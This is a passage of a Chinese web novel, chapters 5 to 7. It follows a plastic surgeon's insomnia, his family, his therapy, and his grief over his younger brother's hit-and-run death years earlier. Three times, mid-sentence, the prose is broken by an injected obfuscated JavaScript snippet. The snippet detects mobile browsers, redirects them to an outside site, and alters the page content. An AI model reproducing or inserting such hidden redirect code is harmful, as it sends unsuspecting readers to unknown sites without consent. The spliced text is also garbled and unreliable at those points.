庄茹黎心烦气躁,怒视着弟弟,温柔模样荡然无存,“眼下局面还不是拜你所赐!没有你的鲁莽行事,外面的野种怎么进得了秦家门!” 庄贤达不敢再多说一个字,只能心中腹诽,当年若不是你暗地里抚养私生子,只想着给自己留后路,我又怎会出此下策。 “你回吧。”庄茹黎起身,拿走餐桌上包装精美的礼品袋,路过垃圾桶时重重丢进去。 5. 第 5 章 海市没有直飞温哥华的航班,需在香港转机。第二程晚点了,原本五点半到达,徐时行跟家里说好回去吃饭,眼下恐怕晚餐要变宵夜。他打电话通知家人下周末再聚,落地后他就直接回自己公寓了。 八点一刻,飞机平稳降落海市国际机场。 徐时行取了行李出闸,差点以为自己眼花,外婆曼丽女士高举一块写着‘仔仔欢迎回家’的白板,情绪激动地冲他使劲摇晃。 一米八的仔仔一脸懵,刚出来便被外婆环抱住,手中拉杆箱亦被外公接了去。 “你们怎么来了?”徐时行被眼前人影晃得晕,“会不会太夸张了点,如果我没失忆,好像只离开了一周吧。” “吃完晚饭外婆提议来接机。”钱慧顺走儿子挂在手臂上的外套,仔细舒展整理,“后来想起你出国念书那年每次接机也都这样。你就配合着点外婆吧。” 家里两位老师都统一战线了,哪还有男士们说话的份,这道理徐时行自然懂,只好婉转抗议:“但我都这么大了,能不能……至少别在公众场合这么称呼我?” 显然,抗议无效。 外婆压低下巴,视线越过滑下的老花镜落在他脸上,温柔而宠爱地说:“你就算结婚成家,在外婆这里也还是仔仔。这趟旅行怎么样,吃得惯睡得好吗?” “好的不得了,能吃能睡。”徐时行微笑着回,心里却很忐忑,糟糕的睡眠状况会不会卷土重来。 “那就好。”外婆满意挽住他的胳膊,“吃饭睡觉是人生头等大事。” 徐时行被三位长辈簇拥着走出感应门,这才反应过来,“不对啊,我车还停在地库,上周我自己开车来的。” 外公亲昵地拍拍他后背,“没事儿,让你爸爸帮你开回去。” “我爸也来了?他怎么肯跟你们一起折腾。”徐时行讶然之余想起来,退休后被返聘的徐伟彦这个月聘期到了,“外婆,恭喜你,又多了一名队员。” 曼丽女士是音乐老师,退休后一直在社区老年大学组办越剧团,时不时接到筹备社区春晚、非遗文化下乡这类任务,忙起来女儿老公统统成了后勤保障队员。她瞥了瞥嘴,故作嫌弃地回:“像你爸爸这种主意大,又不服从指挥的队员,我可不敢收。” 一路欢笑不断,钱慧开车,外公坐副驾驶位。徐时行陪着外婆在后排,一小时车程各种花式关心,很多次话题就快到催婚那一环时,被他用旅途趣闻绕了过去。当然,不该讲的那段意外一字未提。 到达公寓楼下时,外公外婆都意犹未尽。 徐时行体贴地邀请他们上楼坐坐,老太太一本正经拒绝:“本来也只是想接你回家,顺便路上聊聊天,耽误你休息不就事与愿违了嘛。” 长途飞行加时差确实令人疲惫,他便没再坚持,只说找个周末一起吃饭。 徐时行回到家,先冲了个澡,本想直接休息,谁知一根助眠线香燃尽仍无睡意,索性爬起床整理归置行李。 旅行期间换下的衣物洗了两桶,晾晒完窗外天空将亮未亮,他才勉强入睡。如此日夜颠倒,睡睡醒醒,稀里糊涂过完假期最后一天,连续睡眠时间短也没太在意,只当时差的关系。 翌日清晨,徐时行准时走进整形外科综合办公室。 实习医生舒思远围了上来,“师兄,你总算回来了。我可太想你了,没有你的每一天对我来说都很煎熬。” “我看你是挂念随时能帮你兜底的人吧。”徐时行躲开舒思远热情挥舞的胳膊,往自己私人办公室走,偶遇科室里其他同事,一路打招呼声此起彼伏。 “徐医生早。” “徐医生休假回来啦。” “上周徐医生不在,科室里鲜花都断了。” “恭喜徐医生,有喜事可得请我们下午茶啊。” 这话是暗指科室主任杨容飞调任一事,调岗通知前两天正式下达了。徐时行作为热门提拔人选,科室里都默认新任科室主任会是他。 他是陵大医学院获批本硕博连读的第一届学生,本硕第六年争取到了出国交换的名额。学成归国其实有更优选择,却不顾父亲极力反对,一意孤行入职私立医疗集团。 在科室同仁眼中,他此次若能晋升是实至名归。 但徐时行自己对科室主任这一职务看得很淡,从未主动争取过。他清楚如果接手,至少得多出三分之一工作时间处理行政事务,再者自己常年被睡眠问题困扰,并且有越来越严重的趋势,能否胜任如此高强度工作,他心里没底。 徐时行不动声色地笑着说:“没有喜事也可以请,想吃什么群里点,中午我提前订。” 一阵道谢寒暄,徐时行回到自己办公室,走廊上一切吵嚷声被门隔绝。 舒思殷勤接过徐时行脱下的外套,“我来,我来。”他把外套挂进柜中,继续自说自话般输出:“科室里都在传,梁主任会调去香港本部,轮岗几年回来蔡院长也该退休了……还说蔡院长十年连升三级,从科室主任直升院长,堪称弘诚传奇。” 弘诚作为港资私有医疗集团,旗下拥有综合性医院、医学研究以及教育机构。为避免医疗系统过度倾向商业化,除行政高层管理人员外,各院区科室均采取一名医生搭配一名专业管理者的‘1+1’协作模式。同时施行轮岗制度,所有职位最长任期五年。 徐时行忍不住纠正:“七年。”准确地说是七年零三个月,具体年份和职务他都烂熟于心。 “什么?” “没什么,”徐时行话锋一转,迅速调整回工作状态:“你刚才说下午要加个班,是什么意思?” 舒思远关上储物柜门,“蔡院长让你协助运营部录一段宣传视频。” “上个月周年庆,不是刚录过?怎么又轮到我们科室。”徐时行手上动作慢下来,眉头轻蹙,他不喜欢做抛头露面的事,再者录一次要浪费好几小时,不如多做台手术。 “新媒体运营那些小姑娘以权谋私呗,午休时不时往我们这跑。”舒思远见怪不怪道。 既然院长出面了,徐时行没有不给面子的道理,“一会儿有空帮我问下运营部,午休前能不能把稿子先送来。”他抬腕看了眼时间,该准备接诊了。 徐时行处理完烧伤疤痕修复的病患,马不停蹄进手术室。 一上午连轴转,手术结束时早已错过职工餐厅的饭点,舒思远帮他带了份快餐,用保温盒装好。 舒思远把食盒放在徐时行办公桌上,感叹道:“考整形外科前,我以为是给人垫垫鼻子,拉拉双眼皮,没那么多大手术,也不用值夜班,毕竟谁好人家半夜拉双眼皮啊。没想到入职后第一次夜班,就碰上骨折软组织缺损的病人让我缝合。” 徐时行掀开食盒盖子,两荤两素一汤。他不动声色挪动餐盒,把装了猪肝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988912|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那格换到外侧,而后用塑料勺搅动餐厅的招牌汤羹,红的白的绿的各种丁混在一起。 徐时行一根根挑出姜丝,喝了口,淡定评价:“你这才到哪啊,什么糖尿病足伤口不愈合,体表畸形肿瘤不好切,车祸血肉模糊弄一身……” 说的人习以为常还能继续吃饭,听的人快吐了,舒思远打断他:“师兄,别说了。算我求你,行吗?” 徐时行把菜心里的红萝卜和蒜片扒拉到一边,突然意识到不对,抬起头问:“你下次夜班什么时候?” “今天晚上,怎么了?” “抱歉,我的错,不说了。” “啊?为什么?” “避谶。”徐时行抽了一张纸巾,压了压唇。 舒思远一脸震惊:“师兄你还信这个啊?真看不出来。” 徐时行把塑料勺丢进食盒,宣告维持生命体征餐正式结束。 舒思远看着几乎原封不动的四样菜,忍不住贫:“冒昧问一句,您是喝露水长大的吗?” 喝露水不至于,极其挑食倒是真,不吃味道重的所有香料,不吃动物内脏,不吃油腻的一切……关键这么一个挑食的人,低血糖还不会做饭,口袋常备巧克力。 徐实行麻利收拾好餐盒,“宣传视频的稿件拿来了么?我看两眼。” 忙完一天的工作,又配合着拍了宣传视频,他在附近餐厅简单吃过晚饭,回到家先慢悠悠泡了个澡,而后点燃助眠线香,关好双层遮光窗,开启音响定时播放白噪音…… 他闭上眼,试图找个让自己稍微舒服点的姿势酝酿睡意,但是失败了,无论平躺还是侧卧,脉搏每一下跳动都能清晰感知,吵得人心烦。 眼睛睁开又闭上,闭上复又睁开。他翻身坐起,摁亮阅读灯,伸手拉开抽屉拿出个小药瓶。白色瓶盖旋至一半,动作停下来,他保持这一动作许久,最终拧上瓶盖丢回去,下床换掉睡衣。 徐时行骑着机车从地库出来时刚过午夜时分。 整座海市仿佛被同时按下暂停键,街道上没有什么行人,偶有过往车辆,路灯下长街空空荡荡。 三秒,是机车从0到100公里的加速度。引擎咆哮,青蓝血管中血液奔涌,肾上腺素随之飙升,引擎轰鸣合着夜风在耳边呼啸。每当他陷入这种极致激烈的情绪中,就会忘掉现实里一切束缚,身心只需集中在这一瞬的当下,完全放空。 油门转把松了松,摩托车压弯左转,后视镜映出一道车灯光晕,徐时行没太在意,加速继续直行。 路口红灯亮了,他在白线前停住,长腿支在一侧。须臾之间,身旁车位有辆黑色越野车停下。 徐时行余光扫到一眼,车窗贴了深色膜,从外面看不清车内景象。 红灯转绿,徐时行留了个心眼,有意慢半拍启动,眼看着越野车先冲过路口,才拐入右转车道。 在他以为甩掉越野车时,身后响起轮胎急刹发出的刺耳摩擦声,黑车又跟了上来。 徐时行疾驰至下个十字路口,一把急刹跨下机车,边拿掉头盔边向黑车走去。 手机铃适时打破沉静。 徐时行止住脚步,看到屏幕上闪动着来电提醒,不详预感油然而生。 舒思远带有沉重气音的说话声在电话接通的下一秒传出:“徐医生,车祸,患者面部血肉模糊,快来。” “好,马上到。” 6. 第 6 章 徐时行从手术室出来时,窗外天空已泛起鱼肚白。 他喝掉最后一口热可可,把纸杯丢进垃圾桶,抬腕看了眼时间。离上班只剩两个多小时,回家一趟来回四十分钟车程,索性去了休息室和衣而眠。其实压根没怎么睡,一台手术后虽然很累,可大脑仍沉浸在高度专注里没法即刻抽离,身体被疲惫和亢奋同时折磨着。 半梦半醒到快天亮时,他才真正睡着,耳边响起清透少年音,像从渺远的地方飘来—— “哥,我真羡慕你,想吃什么吃什么。等我下个月做完心脏手术,一定要痛快吃一顿麻辣火锅。” “哥,我录了新曲子,听不听?” “哥,你出去旅行怎么都不发朋友圈?我想看。” “哥,就帮我瞒这一次吧,你不说爸妈肯定不知道。我长这么大就交到这一个好朋友,人家难得约我出去,求你了。” ………… 徐时行深陷梦靥,面色苍白,额头瞬间布满细密汗珠。声音和画面都如此真实,弟弟的隽秀脸庞触手可及,可未等他伸出手,眼前世界飞速切换。梦里一切都不由他控制,反复循环那几个瞬间。 他竭尽全力仅发出微弱的一声“小楠”,迷迷糊糊间挣扎着,“别去……小楠,别走……” 不知是第几次如此这般狼狈惊醒,那种他所熟悉的绝望和窒息久久不散。徐时行胸膛急剧起伏,喘着粗气缓了好一会儿,才认出眼前是医院休息室。 休息室有备用的换洗衣物,徐时行随手拿了件白T走进卫生间。 热水兜头浇下,他终于有了些走出梦境的实感。弟弟徐应楠离开十年了,久到那场车祸的肇事司机都已出狱。这么多年家里所有人仿佛私下达成某种共识,在他面前闭口不谈,但徐时行心里很清楚,没有人真正从这场伤痛中走出来,就像他永远无法原谅自己。 那是一个暑假的午后,大人一个出差一个在临市学习,家里只有他们兄弟二人。 徐应楠推开书房门,探进头:“哥,我现在想出门。” 徐时行塞着耳机,正在做医学英语听力练习,没听到。 徐应楠走过去拿掉一只耳机,重复了遍刚才的话。 徐时行手上划关键词的动作没停,一心二用地回:“知道了,听完这段就溜你。” “我是狗吗!”徐应楠说得大声其实很心虚,顿了片刻才又说:“不是让你带我出去玩的意思。” 徐时行停笔,划开手机暂停听力材料播放,“你想干嘛?” “我想自己出去,晚饭前一定回来,你别让爸妈知道。” “安生点,下周就手术了。”徐时行转回头继续答题,边答题边说,“写完我带你去商场逛逛。” 徐应楠五岁时心脏主动脉夹层,做过一次手术,下周是二次手术。他小学晚一年读,即便如此依然经常请假,没法参加集体活动,更不能剧烈运动,体育课只得在教室看书,久而久之没有同学敢跟他打闹,也没人愿意跟他做朋友。 直到上学期隔壁班来了个转校生。 “我从小到大就交过这么一个朋友,人暑假约我好几回了。你也说下周手术,万一我……万一醒不过来了,我冤不冤啊。” ‘啪’一声,徐时行把笔拍在桌面上,转过头瞪弟弟:“胡说八道什么!” 徐应楠嘿嘿一笑,满不在乎道:“好好好,那我不胡说了。”他从背后环抱着哥哥脖颈,撒娇似得摇晃,“保证晚饭前回来,求你了,哥。” “我陪你去,就在后面跟着,不影响你们。”徐时行刚想站起身,便被弟弟按了回去。 “什么啊,你觉得这像话吗?九月份开学我都高二了,十六岁不是六岁。别的同学假期到处玩,朋友圈发出来可有意思,我只能在家玛卡巴卡。” 徐时行自己也觉得不像话,弟弟五岁确诊马凡综合症,除四肢异常修长外,心血管方面的问题更为严峻。忌口不剧烈运动,是他如条件反射般的生命印记,从小看到别的小朋友吃零食也不吵着要,乖得令人心疼。 徐应楠抓准时机,进一步游说:“我不去远的地方,不乱吃东西,更不跑不跳,行吗,哥?” 徐时行彻底心软了,从钱夹中拿了几张纸币塞进弟弟口袋,“打车去打车回,五点前到家,你不能乱吃可以请朋友。” “好咧,谢谢哥。”徐应楠眉开眼笑,殷勤帮哥哥把耳机塞回去一只,“你安心在家练听力。” 徐时行一口气做了两套听力题,拿掉耳机时才发现有一通来自弟弟的未接来电,时间是半小时之前。他正要回拨,钱慧的电话打了进来。 “妈,怎么了?” “书房左侧抽屉里有个牛皮纸袋,里面装着弟弟的病例资料。”电话里钱慧说话声带着明显颤音,她屏息顿了下,“小 楠出了车祸,正在送往弘诚医院途中。爸爸在赶回来的路上,你带着病例先过去。” 思绪被手机闹铃声拉回现实,徐时行抹了把脸,关掉水流如注的蓬蓬头。 八点半,他准时走进办公室,迎面窗台上几盆绿植多肉,在晨光中莹润可爱。他习惯性拿出手机对着拍了一张,发到朋友圈—— 【早安】 苹果5s屏幕在没开灯的狭小卧室里尤为夺目,秦朗看着这条朋友圈失神良久,被指间夹着的烟头烫到,才慌乱捻灭。 这套步梯公寓朝向不好,采光更差,楼龄超过四十年,位于海市为数不多没拆建整改的老街区,是秦朗未被带回秦家前,跟保姆一起生活的地方。 拇指划动,出现一张对镜自拍,没有配文,看起来像是很随意地按下快门,不讲究构图甚至有些糊。画面里徐时行被雪镜遮住半张脸,唇角微扬,身后是红色涂装直升机和茫茫雪原。 秦朗不自觉跟着弯起唇角,眸光流转间沁满温柔。是第二天的直滑行程,那天夜里他提过,并以此为由终结了自己想再来一次的意图。如果没突发事件,就能亲临这张照片的现场,眼下会不会是另一种发展和走向。可这世上,没有重来一次这回事。 继续下划,是张俯视夜景,夜灯与月光辉映,满屏荧光点点。只有秦朗知道,如果把画面放到足够大,左下角的某颗冷杉树下会有模糊人影。 秦朗一条条翻阅,两组出自Max之手的高清图后有一条视频,接下来更多的是纯文字—— 【过马路时看到个瘦高背影,跟着走出很远才意识到,如果是你,应该早高过我,又怎会矮半头。】 【明明知道现在的住所没有一件东西与你有关,依然会奢望在某一个转身后看到你。】 【在梦里也这么调皮。】 【怕梦到你,更怕梦不到你。】 【生日快乐,二十五岁了。家里所有人闭口不提,其实每个人都很想你。】 ………… 目光逐渐黯淡,秦朗心底泛起一阵阵不可名状的钝痛,几乎要将他整个人吞噬。 从天亮到傍晚,翻得手机滚烫。十年,几千条朋友圈,呈现出一个浓烈却无望的世界。 梦里的弟弟长高了,头发长了,气色好了,心脏也不用再手术了…… 无休无止的梦,循环往复的梦,弟弟在他的梦里长大、生活,是他的执念也是他的希望。他被永远困在了弟弟去世的那一天,没有一刻忘记。 回忆像一组飞速倒退的蒙太奇镜头,被经年岁月尘封的画面开始变得鲜活。 “秦朗。”十五岁的徐应楠走进店内。 这是家开在老街的冰室,装修和空调都上了年份,冷气温温吞吞,要搭配吊扇才稍微有点凉意。 午后正热,店里没其他客人,只有秦朗。他约了人在附近篮球馆打球,来早了,刚好徐应楠在微信里向他抱怨暑假无聊,就随口问了一句要不要出来吃冰。 秦朗见他来了,朝着餐台那边说:“老板,可以上了。” 绵绵冰和冰淇淋怕化,他先点了两杯水果杏仁腐, 徐应楠在他对面位置坐下,看着眼前巨大的一杯吞了下口水,倒不是馋,是迟疑,家里严格控制他的日常饮食,更不用说罐头水果这类糖分超标的食物。 他拿起不锈钢勺浅尝了一口,很爽口并不甜腻,“还不错。” 刨冰机一阵嗡鸣,甜品端上来。绵绵冰铺满蜜豆还浇了一圈炼乳,冰淇淋被衬托得平平无奇,甚至潦草到不成形,只能看出是淡黄色。 徐应楠挖了一勺,想当然地说:“香草味吗?” “不是,是蛋打冰淇淋,招牌。”秦朗答。 “蛋……蛋打?不会是生鸡蛋吧?”徐应楠手一抖,不锈钢勺没拿稳,满满一勺冰淇淋扣到衣服上,“……这么丝滑只能是生鸡蛋了。” 秦朗抽了张纸递过去,“擦擦。” 冰淇淋裹着蛋液,越擦污渍面积越大。脏点倒算了,徐应楠下意识闻了下纸巾,快腥吐了。 “要不要换,我有备用的。”秦朗从背包里抽出一条纯黑棉T,指了指,“那边有卫生间。” “怎么出门还带着衣服。”徐应楠抓起棉T来回翻看,发现跟他身上的一模一样,“你一样的衣服可真多。” “一会儿去打球。” 倒扣在桌面上的手机震了下,弹出条信息,秦朗划开屏幕查看。 难怪墙角有颗篮球,徐应楠坐下时看到了,别扭地问:“你约了人?” 他见秦朗点了下头,出家门时的雀跃心情顿时没了大半,继续追问:“交新朋友了?” 秦朗边打字边随意地说:“打球认识的。” 一种难言的复杂情绪涌上徐应楠心头,失落中夹杂着更多的自卑和一股无名火。就像把对方当作唯一好朋友,发现自己只是他众多朋友之一。只生自己的气,与对方无关。 “哦。”他捏着勺无意识搅动杯中饮品,试图自我修复。 秦朗低着头又问:“你哥一个人在家?” “忙着做雅思听力呢,不然我够呛能出来,本来还说想跟着我来,把我当三岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988913|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他的话没说完便被打断。 秦朗猛地抬起头:“他要留学?” “算也不算,他在争取交换生名额。”徐应楠说着说着原本压下去的复杂情绪卷土重来,变本加厉,“你好奇怪,怎么每次都要把话题往我哥身上扯。你认识他吗,跟他很熟吗?” 秦朗意识到他生气了,到底心虚,毕竟最初有意接近他就醉翁之意不在酒,于是不自然地清了清嗓子,战术性狡辩:“整天把他挂嘴边的人明明是你,我还不是都从你这听的。” 是这样吗?徐应楠心思单纯得跟透明的一样,果然被绕进去,一时语塞,搜肠刮肚找回击的话,“那你明明约了别人,为什么还叫我出来?” “你可以一起去。” “我从不打球!” 秦朗清楚他的病情,一时忘了更加愧疚,低姿态道:“抱歉,我的疏忽。” 绵绵冰软榻下来,冰淇淋化成黏黏糊糊的一滩,衣服上的污渍结成硬痂。 ‘乓啷’———— 徐应楠将勺子扔进杯中,没好气地喊:“老板,买单。” 小店老板一人身兼多职,不仅要出餐还要收拾清洗。他在操作台里叮叮当当洗碗,吼了一声:“点的时候付过了。” 徐应楠站起身就要走,“那我回家了。” “消消气。”秦朗一把拉住他的胳膊,“任天堂出新游戏了,要玩吗?” 玩游戏是徐应楠为数不多的娱乐项目之一,新款游戏卡哥哥总会第一时间主动帮他买,都快通关了,哪里还有吸引力。但他依旧停下动作,站在原地攥着斜挎在胸前的包带,“塞尔达?” 秦朗松开手,点点头:“嗯,买了还没收到,等到了去你家一起玩?” “可以。”徐应楠实在好哄,甚至顺着台阶下,“我哥应该会在家,到时候可以一起玩。” 终究是补偿心理占了上风,秦朗临时改了主意:“要不要去海边逛逛?” 徐应楠又惊又喜,坐回原位:“怎么突然要去海边?你不打球了?” “人够,少我一个无所谓。”秦朗把黑T塞到他手里,“先去换衣服。” 徐应楠换好衣服,他们一起走出冰室,拦了辆出租车。 拐过街口的瞬间,路边一辆黑色大众点火启动。秦朗回头多看了两眼。 “怎么了?”徐应楠顺着他的视线看过去,满大街随处可见的车型,并没什么稀奇的。 秦朗收回目光,“没什么。” 出租车疾驰,冷气虽足,但密闭的空间里浸透着陈年烟味,实在谈不上多舒爽。徐应楠摸出一支有线耳机递给秦朗,“听吗?” 秦朗不听也猜得到曲库内容,都是些纯音乐,他不懂也不喜欢。 徐应楠看穿他的心思,“跟以前不一样的。” 秦朗只好接过来塞进耳朵,是首拼接,衔接自然毫无违和感,但音质略粗糙,仔细辨认还能听出环境杂音,“你自己录的?” “嗯。”徐应楠点点头,一脸你可以开始夸了的表情,“我哥放松的时候经常听来着,说很解压。” 可他那点小心思秦朗完全没察觉,只问:“能发给我么?” “哦,好。”徐应楠觉得哪里不对劲,但又一时说不上来,解锁手机发了一个链接过去。 出租车到达目的地,这是一条僻静的临海盘山路。 夏日午后,过往车辆稀少。秦朗付了车费,下车时特意观察后方来车,并非大众。他松了口气,指着前方对徐应楠说: “从那条小路下去,再走十来分钟,有片野沙滩。我不想上课的时候经常来。” 海风鼓起他们一模一样的黑T,也吹散暑气,体感没那么热了。 徐应楠被眼前开阔景致惊喜到,路旁两侧密林交错,耳边声声海浪。他心里那点儿小别扭来得快,去得更快,举起手机拍下路线,想着有机会跟哥哥来玩。 手机铃声响起,秦朗看了眼来电提醒,没有立刻接听,对身侧徐应楠说:“我接个电话。” 谁的电话需要走开那么远,甚至躲进树后? 这个念头在徐应楠心头一扫而过,但没往下深思,背过身继续拍照。丝毫不知身后有辆黑色大众,正以高速直直冲他驶来。 尖锐引擎轰鸣由远及近,惊动了几米开外接电话的秦朗。可徐应楠塞着一只有线耳机,所有注意力全然在手机屏幕上。 秦朗瞳孔骤缩,大喝一声,“小心!” 电光火石间,徐应楠本能地转头,来不及反应便被巨大冲击力撞翻,手机摔在路边。 秦朗疾步赶到时,肇事车辆已打转方向准备逃离,擦身而过的一瞬,秦朗瞥到眼驾驶室内,司机带着黑色棒球帽和口罩,只露出一双眼睛,眼神中带着明显的讶异和惊恐。 他顾不上跟司机过多纠缠,蹲下身查看徐应楠伤势,只见他面色煞白,浑身不受控地抽搐,怎么呼喊都没反应。秦朗轻颤着伸手探了下他的呼吸…… 7. 第 7 章 感应门自动开启,徐时行走进微光诊疗大厅,这是家开在僻静街区的私人心理咨询诊室。 十二点刚过,正是午休时间,整个诊区内格外安静。浅黄色导诊台内,值班护士见他来了,微笑着说:“程医生去临街买咖啡了,让你在诊室等他。” 徐时行颔首道谢,轻车熟路拐进走廊左侧的1号诊室。 诊室内面积不大,布局陈列却充满巧思,四处装饰着绿植,大到落地盆栽龟背竹,小到原木矮几上半个手掌大的铁线蕨。 满眼深浅不一的各种绿,呈现出鲜活和生命力。 徐时行在单人沙发上坐下,熟练调整靠背角度,寻找舒服的姿势,好让身体完全陷入其中。 诊室门开了又关,程医生回来了。他在办公桌上放下咖啡,轻声问候:“最近怎么样?” 徐时行薄薄的眼皮轻阖着,双手交叠垫在颈后,不设防地回:“老样子。” 程医生笑着摇摇头,边从纸袋中拿出咖啡边说:“痛苦也是有期限的,不要再给自己加刑了,你没有错,一切并非因你而起。” 车轱辘话说了一遍又一遍,当事人又怎会不明白。 徐时行淡淡笑了下没有接话,继续闭目养神。 “还真把我这当午睡室了是吧。”程医生无奈道。 诊室内静了片刻,徐时行开口说:“上周有一晚连续睡了很久。” “多久?” “超过八小时。” 程医生转过身,从办公桌抽屉里拿出记录本和笔,“说说当时的具体情况。” 徐时行回忆了下,避重就轻地答:“一般刺激的运动后,我睡眠情况会稍微好些,但不知道那次是滑雪的原因,还是梦到过一段旋律。” “什么旋律?你确定是梦到,而不是听到?”程医生快速写下‘情绪刺激’‘音疗’二词,又在后面打了个问号,“极限运动后会带来暂时缓解,本质是情绪刺激,你从脱离险境中获得了自身价值的肯定。换句话说,是潜意识里在自救。” 他放下笔说:“我的建议是,可以适当尝试各种能帮助你缓解睡眠障碍的方法,什么感官刺激、音疗都可以。” 徐时行仍旧闭着眼,轻描淡写问:“你说感官刺激?” 程医生点了点头,“可以这么说,但情绪刺激包括但不限于运动刺激、听觉视觉嗅觉各种感官刺激、甚至性刺激。” 徐时行猛地睁开眼:“什么?!” “别激动,只是陈述一种可能性,没有特指你的意思。”程医生继续在笔记本上写着什么,“当然,更没有鼓励你乱来的意思。” 徐时行:“……”。 程医生停笔看向他,显然没读懂他表情下所隐藏的真正含义,语重心长道:“梦是内心执念的投射,疗愈的根本在于放下。正视事实,不再排斥自己不愿意接受的当下,才是变好的契机。” “你的过往经历常常会让你有错觉,觉得自己对一切都有掌控权……” 徐时行不知什么时候睡着,在手机闹铃响起的一刻,甚至有种睡了整夜的错觉。他只是来休息的,精神层面上将这里当作安全屋避风港,一个临时休憩的场所。 忙碌工作和失眠带来的疲惫感缓解了些,他走出微光,上了车。钱慧女士的电话也像踩着点般打了过来。 徐时行按下车载蓝牙键接听:“喂,妈。” “儿子,没影响你午睡吧?” 黑色特斯拉Model-Y汇入主干道,徐时行莫名心头一紧:“没有,中午出来办点事,现在回单位路上。” “你在开车啊,那长话短说。妈妈来你家给你送吃的,现在要进去了。” 门锁密码是以前家里座机后六位,钱慧当然清楚,多此一举给儿子打电话知会,是她作为家长的边界感,更是对儿子的尊重。 徐时行绷着的神经松弛下来,“妈,你直接按密码进去就行,没事的,下次不用特意告诉我。” 电话挂断,徐时行驱车回到医院。 下午两点,第一位面诊病人推开诊室门。 患者是位年轻男子,棒球帽黑超墨镜加口罩,捂得严严实实。 徐时行点开院内系统查看医助的问诊记录,而后转向他:“左脸耳朵旁有肿物,出现一个月有余,来,我看看。” 男子拿掉墨镜,摘掉口罩,侧过脸:“喏,就这里。” 徐时行仔细看了看,又上手触压了两下,“肉眼初步诊断是普通皮脂腺囊肿,但介于尺寸稍大,建议先做B超核实,再安排手术切除。” 男子满脸愁容:“徐医生,不瞒你说我已经去过两家医院了,都说是囊肿,让尽快切除。可我是直播博主,靠脸吃饭的,脸上不能有疤,为了等你度假回来,特意又拖了一周。” 徐时行戴上眼镜,又重新仔细检查了一遍,最终说:“还有一个方法,可以用激光切口,不需要缝针。”他拿起笔在白纸上边解释边画示意图,“如果囊肿边缘清晰可以完整取出,就不需要开刀。但有一定几率不能完整取出,依旧需要手术。也就是说,第一个方法失败的话,需要两次费用。” 男子没有思考多久,果断下决定:“费用不是问题。我愿意试。” “给你开三天消炎药,吃完第四天复诊手术。”徐时行转回电脑前,“先去取药,然后在助理医生那预约具体手术时间。” 男子一叠声应下,徐时行送走他,继续接诊下一位预约病人,直到快四点才有空摸出手机看一眼。 微信置顶对话框显示未读信息两条,一小时前的,都来自老妈钱慧—— 【儿子,鸡汤在炖锅里,你下班回来热一下再吃】 【家里有点乱,妈妈帮你收拾一下】 徐时行吓得一激灵,主卧床头柜里有治疗失眠的药,书房还有许多关于失眠的书籍和大叠就诊资料。前天他睡不着时还拿出来翻看过,现在就摊开在书桌上。 弟弟刚出事那段时间,全家人兵荒马乱,反倒是他能有条不紊接待到访亲属,记挂外婆的血压外公的心率,把一切后勤事务打点妥当,好让父母全身心投入诉讼为弟弟讨回公道。所有人欣慰于他的沉稳与冷静,没人知道其实他从未走出来,更不清楚他的病情。 电话直接回拨过去,嘟声响了许久才被接起。 “妈……” 听筒里静了片刻,漫长且煎熬的几秒钟后,钱慧终于出声:“怎么了儿子?一惊一乍的,我正收垃圾换垃圾袋呢。” 她的声调和语气都没任何异样。 “没什么,其实不用帮我打扫,周末定期有家政清洁。”徐时行明显地舒出一口气。 “周末归周末,冰箱一堆过期食材,家政肯定不敢上手扔。以前陪你爸在外地顾不上你,现在不一样了,有大把时间。”知子莫若母,电话那头一切细小动静都被钱慧清楚捕捉,她最后看了眼空荡荡的冰箱,满意地合拢,话锋急转,“扔点过期食物,你紧张什么?” 徐时行整个人顿时被什么罩住,话说出口更心虚,“……我哪有紧张。” 钱慧在教育一线奋战三十年,对线过无数没写作业非说忘带丢了的学生,深知这种时候看破不说破。再者,儿子都这么大了,真有点情况也很正常。 她意味深长地笑了下,“我只收拾了客厅和厨房,卧室书房没进去,省得整理了回头你不好找东西。” “好,谢谢妈,辛苦了。”徐时行这一天心情宛如过山车,直上直下来来回回。 “那行,我走了,你回来别忘了鸡汤热一热再吃。”钱慧挂了电话,走进玄关换鞋,低头看见脚上的浅灰色大码拖鞋,一时念起打开鞋柜,视线从上到下一一扫过,除了两双一模一样的灰拖鞋,剩下都是儿子的鞋。 虽然打扫时就清楚,如此惨不忍睹的厨房,自己所期待的并不可能发生,但亲眼证实仍忍不住隐隐失望。钱慧心情复杂地推回鞋柜门—— “嘭!” ——秦朗甩上车门,嘀声锁了,走进临街的一家甜品店。他约了赵柯在这里见面。 店里装修风格很可爱,大面积粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988914|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 